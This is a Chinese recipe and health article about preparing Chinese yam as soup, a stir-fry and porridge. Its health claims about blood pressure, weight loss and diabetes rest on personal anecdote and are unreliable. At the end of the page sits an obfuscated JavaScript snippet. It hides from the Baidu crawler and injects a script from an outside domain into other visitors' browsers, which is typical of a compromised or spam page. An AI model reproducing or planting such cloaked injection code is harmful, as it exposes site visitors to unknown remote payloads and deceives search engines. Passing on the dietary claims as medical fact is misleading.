當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

山藥的三種吃法:熬粥配上紅棗

2016-10-08 09:35:06  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:山藥為薯類的一種,作為主食吃不僅營養(yǎng)豐富同時(shí)還可幫助調(diào)養(yǎng)脾胃,降低血脂和血壓,減輕體重。而如果用來炒菜的話,吃了山藥再吃飯,就會(huì)造成淀粉類食物過多,導(dǎo)致體重增加。

山藥的三種吃法:熬粥配上紅棗

山藥的三種吃法:熬粥配上紅棗

山藥的營養(yǎng)吃法

煲湯請(qǐng)選用牛蒡

用山藥燉湯的時(shí)候,我倒是推薦再加上另一種外形類似山藥的根莖類蔬菜,牛蒡。

這幾年,在看健康養(yǎng)生方面的節(jié)目時(shí)經(jīng)常能聽到牛蒡,它含豐富的膳食纖維、胡蘿卜素、微量元素鋅和硒,長(zhǎng)期食用,有幫助排便、降血壓、降血脂的作用,還有增強(qiáng)身體體抗力的功效。尤其春季食用,能緩解上火癥狀。

或者與肉類和菌類煲湯,或者是直接煮水,可根據(jù)自己飲食習(xí)慣來選擇。但以我的經(jīng)驗(yàn)來看,不管如何做,削皮后的牛蒡要立刻放入清水中浸泡,否則容易氧化變黑褐色。而且在烹調(diào)之前,可用醋水泡上十分鐘,這樣不僅能去苦澀,還能防止其變黑,口味更好。

做菜做成五彩的

前幾天,一個(gè)患糖尿病多年的朋友來找我訴苦,稱辛苦控制這么多年的血糖一直很好,可近期體檢又發(fā)現(xiàn)腎功能出現(xiàn)異常,總覺得乏力容易感冒,沒食欲,我立馬給她推薦了一道“五彩山藥”。

原料有山藥、胡蘿卜、豌豆、玉米粒和紅甜椒。做起來很簡(jiǎn)單,把這些原料都切成像豌豆那么大的丁,倒進(jìn)開水中汆燙兩分鐘左右,然后在放到?jīng)鏊餂_洗一遍。再倒色拉油,爆香蔥蒜末翻炒兩三分鐘,加調(diào)味料后加水淀粉勾芡就可以了。這道菜既適合糖尿病人,又因色彩鮮明而利于提升食欲。

其實(shí),對(duì)于那些脾胃虛弱的人來說也很適合,能幫助她們逐漸恢復(fù)脾胃運(yùn)化功能,并有足夠的能量幫助消耗分解體內(nèi)沉積的脂肪,這樣一來氣血充足了,血液循環(huán)暢通了,人看起來也更有好氣色。

熬粥搭配上紅棗

山藥的食療價(jià)值極高,在我所開出的“瘦身餐單”中,幾乎都少不了山藥的影子。不過,我極少用山藥做菜,大多是作為主食的一種進(jìn)行替換。

這是因?yàn)?,山藥為薯類的一種,作為主食吃不僅營養(yǎng)豐富同時(shí)還可幫助調(diào)養(yǎng)脾胃,降低血脂和血壓,減輕體重。而如果用來炒菜的話,吃了山藥再吃飯,就會(huì)造成淀粉類食物過多,導(dǎo)致體重增加。

最推薦的是山藥薏米紅棗粥,這個(gè)可是被稱為“長(zhǎng)壽粥”。薏米提前浸泡,山藥去皮切塊一起煮成粥即可,一周建議選擇三次,也可以再加入一些其他的食材,比如黑芝麻,黑米一起打成米糊也非常方便。蒸山藥也是經(jīng)常吃的,蒸熟后可淋上藍(lán)莓果醬,增強(qiáng)氣血的同時(shí)增加了藍(lán)莓的抗氧化延緩衰老的功效,口味也更受歡迎。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}